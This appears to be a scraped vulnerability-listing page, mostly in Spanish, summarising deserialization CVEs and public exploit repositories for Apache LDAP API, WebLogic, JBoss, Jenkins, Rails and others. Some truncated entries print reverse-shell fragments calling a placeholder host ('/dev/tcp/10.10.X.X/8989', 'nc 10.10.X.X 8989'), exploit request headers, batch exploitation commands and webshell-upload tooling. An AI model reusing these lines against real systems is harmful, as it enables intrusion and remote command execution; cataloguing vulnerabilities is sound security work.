CVE-2026-103877 Apache Directory LDAP API: Unsafe loading of Java code from LDAP schema elements

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

EUVD-2026-91361

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

CVE-2026-103877

Deserialization of Untrusted Data vulnerability in Apache Directory LDAP API. A rogue/compromised LDAP server or pre-TLS MITM can answer a client's loadSchema subschema search with a schema object that contains a serialized Java class, allowing some potential RCE. This issue affects Apache...

CVE-2026-103877

The Apache Directory LDAP API is vulnerable to a deserialization of untrusted data flaw (CWE-502) in versions 2.1.0 through 2.1.8 . A rogue or compromised LDAP server, or a pre-TLS Man-in-the-Middle (MITM) attacker, can provide a malicious schema object during a loadSchema() subschema search. Thi...

RAU_crypto

RAUcrypto Exploit combinado para Telerik UI for ASP.NET AJAX. Subida de archivos para CVE-2017-11317 y CVE-2017-11357 - subirá el archivo automáticamente Deserialización .NET para CVE-2019-18935 Ahora admite la comprobación de la capacidad del objetivo para obtener payloads remotos desde un...

CVE-2020-8165

Exploit en Python para CVE-2020-8165 Este es un código para explotar CVE-2020-8165 usando Python3. Este exploit funciona con rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Créditos principales Detalles originales del CV...

Liferay-CE-Portal-Java-Deserialization

Liferay-CE-Portal-Java-Deserialization Este repositorio contiene el PoC de la vulnerabilidad de ejecución remota de código de Liferay CE Portal. Payloads Ya he compartido payloads en el repositorio. Debe encontrar la sintaxis correcta mediante el método de fuerza bruta. Los payloads que comparto...

CVE-2022-26133

CVE-2022-26133 Descripción Vulnerabilidad de deserialización de Atlassian Bitbucket Data Center CVE-2022-26133: verificación y explotación en lote Verificación de la vulnerabilidad En lote python3 CVE-2022-26133.py -u http://192.168.110.136:7990 -f target.txt Explotación de la vulnerabilidad...

CVE-2021-3129

CVE-2021-3129 — Laravel Ignition Ejecución Remota de Código CVSS 9.8 Crítico | Operaciones de archivo inseguras → Log Poisoning → Deserialización Phar → RCE Resumen Laravel Ignition -c "whoami" Referencias NVD — CVE-2021-3129 Parche de Ignition 2.5.2...

CVE-2017-10271

Identificación y explotación de CVE-2017-10271. RCE no autenticado en Weblogic. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 1226...

CVE-2019-0604

I. Explicación del cve-2019-0604-exp.py de k8gege Script de k8gege https://github.com/k8gege/CVE-2019-0604 Siendo honestos, el script py de k8gege es un poco llamativo: tiene un montón de cadenas hexadecimales divididas en payload1, 2, 3, qué mal. El payload que el script Python envía por POST de...

CVE-2019-2725

CVE-2019-2725 weblogic command execution + webshell upload Aviso legal: Esta herramienta es solo para fines de prueba y aprendizaje de seguridad. Está prohibido su uso ilegal weblogic command execution + webshell upload Introducción del script: Este script se basa en las versiones weblogic 10.3.6...

CVE-2022-30778

Advertencia La vulnerabilidad ha sido revocada Override Esto trata sobre CVE-2021-43503. Requisitos PHP = 8.0 Composer Reproducir la vulnerabilidad 1. Iniciar el servicio composer install cp .env.example .env php artisan key:generate php artisan serve it will listening 8000 port in localhost 2...

CVE-2024-8353

Esta publicación es un artículo de investigación publicado por EQSTLab. Gracias acuokon, quien descubrió esta vulnerabilidad. Introducción Análisis adicional de CVE-2024-5932 EQST Insight R&Tarchivo PDF. https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021 CVE-2024-8353...

CVE-2018-2893

CVE-2018-2893 Weblogic CVE-2018-2893 Enjoy 测试环境-Docker The Docker In Here! https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2018-2628/README.md Ps: 由于外网有RMI远程服务器，很方便弹到shell; 如果在内网，你需要指定自己的RMI服务器，不然无法获取到反弹Shell !!! 0x01 generate-payload 0x02 send-payload Payload:...

session_reaper_lab

CVE-2025-54236 - SessionReaper Lab Docker environment for practical demonstration of CVE-2025-54236 SessionReaper: PHP Object Deserialization leading to RCE in Magento Open Source 2.4.7. Exclusive use in controlled environment. Do not run against systems without explicit authorization. About the...

CVE-2017-12149

CVE-2017-12149 CVE-2017-12149 deserialización de JBOSS AS 6.X versión de shell inversa Interfaz GUI reescrita según el modo de línea de comandos del autor detalle:http://www.cnblogs.com/sevck/p/7874438.html...

POC-bomber

🔥 POC-bomber 🦄 POC bomber es una herramienta de detección/explotación de vulnerabilidades, diseñada para obtener rápidamente permisos del servidor objetivo utilizando una gran cantidad de POC/EXP de vulnerabilidades de alto impacto Este proyecto recopila POC/EXP de vulnerabilidades de alto impact...

pwn_jenkins

Ejecución remota de código Lectura arbitraria del CLI de Jenkins CVE-2024-23897 afecta a versiones anteriores a 2.442 y a la LTS 2.426.3 Aviso de Jenkins, Créditos Autenticado, puede recuperar un archivo completo: java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth...

JavaDeRe

Introducción del proyecto Se utiliza principalmente para codificar en base64 la clase al construir cargas útiles de eco echo para la deserialización de JAVA, y para decodificar cadenas en base64 durante una respuesta a incidentes, restaurándolas a archivos .class para inspeccionar la carga útil d...